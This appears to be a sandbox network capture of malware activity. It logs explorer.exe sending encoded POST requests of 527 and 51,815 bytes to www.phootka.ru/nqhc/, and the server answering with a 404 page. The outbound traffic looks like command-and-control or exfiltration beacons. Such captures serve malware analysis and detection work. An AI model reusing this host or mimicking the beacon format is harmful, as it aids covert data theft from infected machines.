Nov 21, 2022 19:22:55.633675098 CET	1281	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 20 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: throw RangeError ("punycode_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("puny
Nov 21, 2022 19:22:55.633728027 CET	1282	IN	Data Raw: 30 2c 20 6c 65 6e 20 3d 20 6f 75 74 70 75 74 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 Data Ascii: 0, len = output.length; i < len; i++) { if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.enco
Nov 21, 2022 19:22:55.633780956 CET	1284	IN	Data Raw: 30 3b 20 6a 20 3c 20 69 6e 70 75 74 5f 6c 65 6e 67 74 68 3b 20 2b 2b 6a 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6a 76 20 3d 20 69 6e 70 75 74 5b 6a 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a Data Ascii: 0; j < input_length; ++j) { ijv = input[j]; if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow
Nov 21, 2022 19:22:55.633831978 CET	1285	IN	Data Raw: 6f 41 53 43 49 49 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 20 64 6f 6d 61 69 6e 20 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 20 3d 20 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 Data Ascii: oASCII = function ( domain ) { var domain_array = domain.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za
Nov 21, 2022 19:22:55.633886099 CET	1286	IN	Data Raw: 65 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 20 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 Data Ascii: een; } .logo { padding: 30px 40px; } .content { display: flex; justify-content: space-between; margin: 0 82px; } .left { display: fl
Nov 21, 2022 19:22:55.633940935 CET	1288	IN	Data Raw: 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: : 15px; } } </style></head><body><header> <div class="logo"> <a href="https://www.nic.ru/"> <svg width="100" height="42" viewBox="0 0 100 42" fill="none" xmlns="http://www.w3.org/2
Nov 21, 2022 19:22:55.633996964 CET	1289	IN	Data Raw: 32 30 2e 39 34 37 35 5a 22 20 66 69 6c 6c 3d 22 23 31 34 32 39 35 45 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 35 33 2e 31 35 30 39 20 31 34 2e 31 37 38 38 43 35 33 2e Data Ascii: 20.9475Z" fill="#14295E"></path> <path d="M53.1509 14.1788C53.1695 14.0678 53.1828 13.9659 53.1923 13.8744C53.2017 13.7815 53.2065 13.6867 53.2065 13.5876C53.2065 13.1011 53.0556 12.7287 52.7556 12.47C52.455 12.211 52.0227
Nov 21, 2022 19:22:55.676619053 CET	1291	IN	Data Raw: 36 34 30 35 20 31 30 2e 30 34 39 34 43 36 35 2e 39 36 37 38 20 31 30 2e 30 34 39 34 20 36 35 2e 33 35 32 31 20 31 30 2e 31 37 35 37 20 36 34 2e 37 39 32 20 31 30 2e 34 32 35 37 43 36 34 2e 32 33 31 37 20 31 30 2e 36 37 37 39 20 36 33 2e 36 31 33 Data Ascii: 6405 10.0494C65.9678 10.0494 65.3521 10.1757 64.792 10.4257C64.2317 10.6779 63.6136 11.0274 62.9346 11.475L63.2065 10.3343L58.7385 10.3351L58.2337 12.5144H59.3852L57.5098 20.6619H60.8287L62.5044 13.3418C62.9323 13.1149 63.3172 12.9453 63.6601

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.11.20	49873	195.24.68.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:57.655339956 CET	1318	OUT	POST /nqhc/ HTTP/1.1 Host: www.phootka.ru Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.phootka.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.phootka.ru/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 71 7a 73 4a 57 71 35 6b 67 56 6c 4e 75 55 39 7a 55 71 57 72 34 4d 51 66 33 33 46 69 79 35 32 59 5a 69 79 4f 42 75 70 61 78 67 6d 67 68 6d 42 36 6f 61 31 4e 4a 72 76 47 39 6e 67 61 55 64 55 38 78 51 6f 4c 38 46 30 59 73 67 4b 54 6c 54 76 53 6f 35 79 37 39 38 7a 61 6e 4c 64 2d 39 6c 6e 4a 49 5a 7a 6d 4f 75 48 6f 38 65 58 38 52 33 49 53 48 31 7a 64 66 50 74 79 41 6e 42 78 6f 31 62 50 6e 53 76 57 39 57 54 78 34 33 77 36 4f 76 54 35 66 57 4e 73 48 39 63 31 52 62 31 70 49 34 37 49 6b 6e 7a 6c 56 55 76 4d 41 5f 72 73 6e 68 75 72 64 54 58 4d 79 7a 56 71 53 41 43 36 58 75 66 65 66 70 6a 72 78 31 59 53 41 73 55 56 42 4d 53 36 78 6c 79 47 75 62 76 61 52 59 33 53 34 35 66 74 44 77 64 4d 5a 32 75 53 7a 65 66 32 66 79 52 4d 57 68 50 5a 74 34 44 6f 64 4a 45 6a 50 38 6c 52 76 32 5a 41 57 33 53 36 53 6b 49 77 53 56 4c 4a 47 53 37 77 6f 65 50 4a 76 42 4d 64 77 48 46 45 67 4c 73 6c 62 67 4b 61 6a 57 7e 33 41 31 55 61 44 76 61 55 79 43 39 52 73 33 46 49 78 70 45 70 43 5a 61 6e 34 48 45 6d 66 47 75 66 54 54 78 59 35 6f 58 31 4d 30 63 43 55 47 34 66 6e 48 42 70 33 58 53 41 45 55 75 45 71 4f 56 52 59 69 46 62 49 74 4a 70 31 50 59 59 6b 35 5a 61 4b 62 57 55 43 33 73 4f 33 4e 59 56 62 65 42 73 45 6f 42 4a 51 50 35 61 58 76 7a 45 46 5f 57 46 28 38 55 31 49 35 58 47 6d 7a 51 68 63 35 66 6c 43 56 69 4d 44 55 33 4c 4a 4b 76 72 70 6e 56 33 4d 42 77 43 4a 64 71 4d 6d 55 73 34 76 41 64 51 6a 6a 44 6f 57 58 73 2d 70 77 39 6d 6b 69 33 61 49 79 55 6c 73 77 35 62 7a 41 51 4c 43 32 59 45 41 4e 53 70 58 47 59 62 72 4b 39 38 43 77 68 54 59 55 52 57 4f 38 4f 38 43 76 55 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=qzsJWq5kgVlNuU9zUqWr4MQf33Fiy52YZiyOBupaxgmghmB6oa1NJrvG9ngaUdU8xQoL8F0YsgKTlTvSo5y798zanLd-9lnJIZzmOuHo8eX8R3ISH1zdfPtyAnBxo1bPnSvW9WTx43w6OvT5fWNsH9c1Rb1pI47IknzlVUvMA_rsnhurdTXMyzVqSAC6Xufefpjrx1YSAsUVBMS6xlyGubvaRY3S45ftDwdMZ2uSzef2fyRMWhPZt4DodJEjP8lRv2ZAW3S6SkIwSVLJGS7woePJvBMdwHFEgLslbgKajW~3A1UaDvaUyC9Rs3FIxpEpCZan4HEmfGufTTxY5oX1M0cCUG4fnHBp3XSAEUuEqOVRYiFbItJp1PYYk5ZaKbWUC3sO3NYVbeBsEoBJQP5aXvzEF_WF(8U1I5XGmzQhc5flCViMDU3LJKvrpnV3MBwCJdqMmUs4vAdQjjDoWXs-pw9mki3aIyUlsw5bzAQLC2YEANSpXGYbrK98CwhTYURWO8O8CvU.
Nov 21, 2022 19:22:57.702039003 CET	1320	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 21 Nov 2022 18:22:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 39481 Connection: close Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> 404</title> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"> <script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script> <script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; }
Nov 21, 2022 19:22:57.702164888 CET	1321	IN	Data Raw: 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e Data Ascii: output.push(value); } return output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++];
Nov 21, 2022 19:22:57.702222109 CET	1322	IN	Data Raw: 74 61 20 2f 20 64 61 6d 70 29 20 3a 20 28 64 65 6c 74 61 20 3e 3e 20 31 29 3b 0a 20 20 20 20 20 20 20 20 64 65 6c 74 61 20 2b 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 Data Ascii: ta / damp) : (delta >> 1); delta += Math.floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floo
Nov 21, 2022 19:22:57.702275991 CET	1324	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 20 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: throw RangeError ("punycode_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("puny
Nov 21, 2022 19:22:57.702328920 CET	1325	IN	Data Raw: 30 2c 20 6c 65 6e 20 3d 20 6f 75 74 70 75 74 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 Data Ascii: 0, len = output.length; i < len; i++) { if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.enco
Nov 21, 2022 19:22:57.702382088 CET	1326	IN	Data Raw: 30 3b 20 6a 20 3c 20 69 6e 70 75 74 5f 6c 65 6e 67 74 68 3b 20 2b 2b 6a 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6a 76 20 3d 20 69 6e 70 75 74 5b 6a 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a Data Ascii: 0; j < input_length; ++j) { ijv = input[j]; if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow
Nov 21, 2022 19:22:57.702435017 CET	1328	IN	Data Raw: 6f 41 53 43 49 49 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 20 64 6f 6d 61 69 6e 20 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 20 3d 20 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 Data Ascii: oASCII = function ( domain ) { var domain_array = domain.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za
Nov 21, 2022 19:22:57.702487946 CET	1329	IN	Data Raw: 65 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 20 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 Data Ascii: een; } .logo { padding: 30px 40px; } .content { display: flex; justify-content: space-between; margin: 0 82px; } .left { display: fl
Nov 21, 2022 19:22:57.702541113 CET	1330	IN	Data Raw: 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: : 15px; } } </style></head><body><header> <div class="logo"> <a href="https://www.nic.ru/"> <svg width="100" height="42" viewBox="0 0 100 42" fill="none" xmlns="http://www.w3.org/2
Nov 21, 2022 19:22:57.702594995 CET	1332	IN	Data Raw: 32 30 2e 39 34 37 35 5a 22 20 66 69 6c 6c 3d 22 23 31 34 32 39 35 45 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 35 33 2e 31 35 30 39 20 31 34 2e 31 37 38 38 43 35 33 2e Data Ascii: 20.9475Z" fill="#14295E"></path> <path d="M53.1509 14.1788C53.1695 14.0678 53.1828 13.9659 53.1923 13.8744C53.2017 13.7815 53.2065 13.6867 53.2065 13.5876C53.2065 13.1011 53.0556 12.7287 52.7556 12.47C52.455 12.211 52.0227
Nov 21, 2022 19:22:57.747051001 CET	1333	IN	Data Raw: 36 34 30 35 20 31 30 2e 30 34 39 34 43 36 35 2e 39 36 37 38 20 31 30 2e 30 34 39 34 20 36 35 2e 33 35 32 31 20 31 30 2e 31 37 35 37 20 36 34 2e 37 39 32 20 31 30 2e 34 32 35 37 43 36 34 2e 32 33 31 37 20 31 30 2e 36 37 37 39 20 36 33 2e 36 31 33 Data Ascii: 6405 10.0494C65.9678 10.0494 65.3521 10.1757 64.792 10.4257C64.2317 10.6779 63.6136 11.0274 62.9346 11.475L63.2065 10.3343L58.7385 10.3351L58.2337 12.5144H59.3852L57.5098 20.6619H60.8287L62.5044 13.3418C62.9323 13.1149 63.3172 12.9453 63.6601

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.11.20	49874	195.24.68.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:59.718462944 CET	1369	OUT	POST /nqhc/ HTTP/1.1 Host: www.phootka.ru Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.phootka.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.phootka.ru/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 71 7a 73 4a 57 71 35 6b 67 56 6c 4e 75 55 39 7a 55 71 57 72 34 4d 51 66 33 33 46 69 79 35 32 59 5a 69 79 4f 42 75 70 61 78 67 75 67 68 56 4a 36 6e 5a 64 4e 62 37 76 47 7a 48 67 62 55 64 56 6b 78 55 4d 58 38 46 77 49 73 6a 79 54 6b 45 72 53 6f 72 71 37 34 38 79 39 37 62 64 38 35 6c 6e 64 49 5a 28 79 4f 75 53 54 37 76 7a 38 53 31 51 53 55 30 7a 63 54 5f 74 30 41 6e 42 74 69 6c 62 39 6e 53 62 38 39 57 76 78 34 30 55 36 4f 5a 50 35 4d 52 78 73 4f 4e 63 30 49 72 31 69 44 59 37 68 6b 6b 50 70 56 55 76 79 41 36 54 73 6e 6a 6d 72 4d 6b 44 4e 78 54 56 71 62 67 43 37 54 75 44 61 66 71 48 7a 78 31 73 53 41 72 51 56 43 73 53 36 36 67 53 4a 6d 62 76 63 62 34 32 51 38 35 53 69 44 77 4a 79 5a 30 69 53 79 75 6a 32 65 46 78 4d 56 41 50 5a 7a 49 44 6d 43 5a 45 4b 45 63 6b 4f 76 32 49 68 57 33 79 31 53 6d 45 77 54 30 72 4a 44 7a 37 7a 68 65 50 50 68 68 4d 49 30 48 4a 79 67 49 55 70 62 67 4c 58 6a 58 4b 33 42 45 6b 61 43 75 61 58 79 53 39 53 6c 58 45 50 28 4a 41 6a 43 5a 48 6b 34 48 73 32 66 42 7e 66 54 7a 78 59 7a 70 58 32 43 45 63 46 59 6d 35 47 71 6e 41 70 33 58 65 69 45 56 71 36 72 5f 4a 52 59 53 56 62 43 64 4a 71 77 76 59 55 39 70 5a 63 4f 62 57 55 43 33 51 6b 33 4d 6b 56 62 76 35 73 47 65 78 4a 42 38 52 61 56 76 79 50 46 5f 57 51 28 39 6f 77 49 35 4f 6e 6d 79 67 50 63 37 54 6c 44 45 79 4d 41 51 62 4d 46 61 75 76 74 6e 56 67 52 78 38 56 4a 64 6e 50 6d 55 38 6f 75 33 4e 51 69 67 37 6f 53 58 73 5f 69 77 39 68 6a 69 32 52 4d 79 6f 44 73 77 31 6c 7a 46 73 62 43 30 49 45 43 59 72 66 48 69 59 67 31 35 49 64 42 46 42 64 45 46 78 72 66 4e 50 35 65 71 7e 66 4c 61 43 6b 43 65 69 48 68 6d 37 44 38 6f 4d 73 49 34 4a 6a 7a 6a 42 71 67 5f 53 72 6e 48 7a 4a 52 6b 6f 63 5a 58 4b 4f 47 4c 73 73 30 51 44 4c 67 44 30 34 6b 65 6c 4d 7e 4c 6e 72 68 57 71 44 39 31 43 67 70 45 75 4e 65 70 78 76 56 71 59 46 62 44 32 59 43 6c 4a 4b 5a 68 71 56 66 46 39 51 46 45 53 39 46 4d 58 42 55 64 42 5a 6f 6a 47 4a 34 47 79 6e 54 5a 31 33 69 37 76 6d 59 6f 69 65 6b 4b 53 53 58 4d 41 52 37 32 39 2d 68 73 71 57 58 64 38 48 41 6b 33 77 57 5f 68 33 4a 4f 6e 70 47 5a 33 52 45 72 47 4c 57 55 72 64 74 5f 49 34 41 52 51 34 54 46 54 57 4f 31 32 34 33 4b 35 52 71 74 71 76 33 5f 46 78 71 56 59 46 33 39 64 6c 64 69 6a 65 54 70 39 79 66 37 4e 34 48 65 41 64 52 71 64 35 37 69 31 71 65 53 31 6f 33 37 4f 30 4d 58 58 77 62 58 56 5a 74 50 77 47 73 68 48 6f 66 6a 61 68 6e 79 59 4b 55 74 73 4f 6e 64 59 53 64 6e 43 70 64 72 57 66 4b 4d 70 34 6d 62 76 2d 61 4b 28 31 63 6f 46 39 59 7a 61 33 4e 46 4e 5a 72 69 44 38 6f 73 61 31 31 4e 33 30 6d 30 56 56 32 41 58 6e 4d 30 6e 32 79 72 4f 34 49 37 61 76 35 34 57 6f 56 5f 46 54 74 33 4f 35 6f 7a 44 7a 70 4b 66 35 59 6d 46 75 77 55 69 70 7e 6c 74 51 7e 2d 35 68 33 43 75 73 4b 6c 31 79 78 37 5a 77 31 31 4b 58 6e 4f 78 4d 30 77 49 59 76 53 54 62 39 45 54 76 47 72 52 6e 52 4e 61 76 46 31 68 71 35 4e 4f 78 78 49 37 62 74 4a 66 54 41 6a 6c 73 54 61 76 4d 79 72 35 41 43 33 71 68 55 51 75 4d 38 6e 74 34 61 6e 62 62 54 4a 7e 73 33 78 35 4d 61 66 62 7a 31 4f 72 55 64 4d 7e 53 38 57 62 52 54 48 59 46 4b 64 7e 69 6e 7a 66 5a 6b 37 4f 44 64 48 66 7a 39 32 69 45 39 61 73 4d 4a 51 79 44 44 57 68 4c 4e 75 42 33 79 6b 55 53 7e 66 79 4c 48 4a 5a 7a 55 61 31 43 45 36 32 79 4a 42 6f 54 64 7a 51 46 35 48 73 48 54 35 61 6c 4d 51 38 6b 41 62 47 78 44 32 34 56 47 6d 42 4c 4c 7a 78 70 37 71 54 52 42 6f 37 52 73 64 78 37 73 62 55 41 31 30 73 78 31 52 4b 78 53 78 52 6d 65 5a 4c 4a 51 47 66 79 55 56 52 70 38 6e 49 6f 50 35 6c 6b 47 6d 68 4c 56 68 65 48 4d 66 73 5a 50 70 71 76 75 74 52 56 32 4f 39 37 6a 58 4e 72 53 44 28 34 72 47 4c 6b 46 31 62 5a 6b 4e 4f 4e 61 44 69 69 5a 68 72 38 6a 6c 76 62 51 43 37 69 75 69 48 77 54 74 7e 56 52 69 59 55 37 7a 48 6f 63 44 33 2d 56 33 69 32 71 6f 50 46 57 68 54 59 41 6d 7e 72 4b 6e 56 53 45 6e 6a 4d 31 44 70 76 39 6b 57 6b 32 50 50 4c 65 41 67 35 62 4a 51 63 4e 6b 6f 46 48 2d 43 43 44 6b 78 4c 55 75 55 35 41 44 62 6e 37 51 42 4f 57 31 78 6c 34 42 4d 65 54 32 6c 6e 41 41 43 32 6f 4b 51 63 30 39 38 45 44 54 63 39 42 62 4e 4f 6b 41 63 32 48 70 7a 31 53 4a 46 76 71 33 77 5a 61 48 75 52 58 47 72 63 45 6a 74 4c 6a 71 64 58 35 Data Ascii: r4txB=qzsJWq5kgVlNuU9zUqWr4MQf33Fiy52YZiyOBupaxgughVJ6nZdNb7vGzHgbUdVkxUMX8FwIsjyTkErSorq748y97bd85lndIZ(yOuST7vz8S1QSU0zcT_t0AnBtilb9nSb89Wvx40U6OZP5MRxsONc0Ir1iDY7hkkPpVUvyA6TsnjmrMkDNxTVqbgC7TuDafqHzx1sSArQVCsS66gSJmbvcb42Q85SiDwJyZ0iSyuj2eFxMVAPZzIDmCZEKEckOv2IhW3y1SmEwT0rJDz7zhePPhhMI0HJygIUpbgLXjXK3BEkaCuaXyS9SlXEP(JAjCZHk4Hs2fB~fTzxYzpX2CEcFYm5GqnAp3XeiEVq6r_JRYSVbCdJqwvYU9pZcObWUC3Qk3MkVbv5sGexJB8RaVvyPF_WQ(9owI5OnmygPc7TlDEyMAQbMFauvtnVgRx8VJdnPmU8ou3NQig7oSXs_iw9hji2RMyoDsw1lzFsbC0IECYrfHiYg15IdBFBdEFxrfNP5eq~fLaCkCeiHhm7D8oMsI4JjzjBqg_SrnHzJRkocZXKOGLss0QDLgD04kelM~LnrhWqD91CgpEuNepxvVqYFbD2YClJKZhqVfF9QFES9FMXBUdBZojGJ4GynTZ13i7vmYoiekKSSXMAR729-hsqWXd8HAk3wW_h3JOnpGZ3RErGLWUrdt_I4ARQ4TFTWO1243K5Rqtqv3_FxqVYF39dldijeTp9yf7N4HeAdRqd57i1qeS1o37O0MXXwbXVZtPwGshHofjahnyYKUtsOndYSdnCpdrWfKMp4mbv-aK(1coF9Yza3NFNZriD8osa11N30m0VV2AXnM0n2yrO4I7av54WoV_FTt3O5ozDzpKf5YmFuwUip~ltQ~-5h3CusKl1yx7Zw11KXnOxM0wIYvSTb9ETvGrRnRNavF1hq5NOxxI7btJfTAjlsTavMyr5AC3qhUQuM8nt4anbbTJ~s3x5Mafbz1OrUdM~S8WbRTHYFKd~in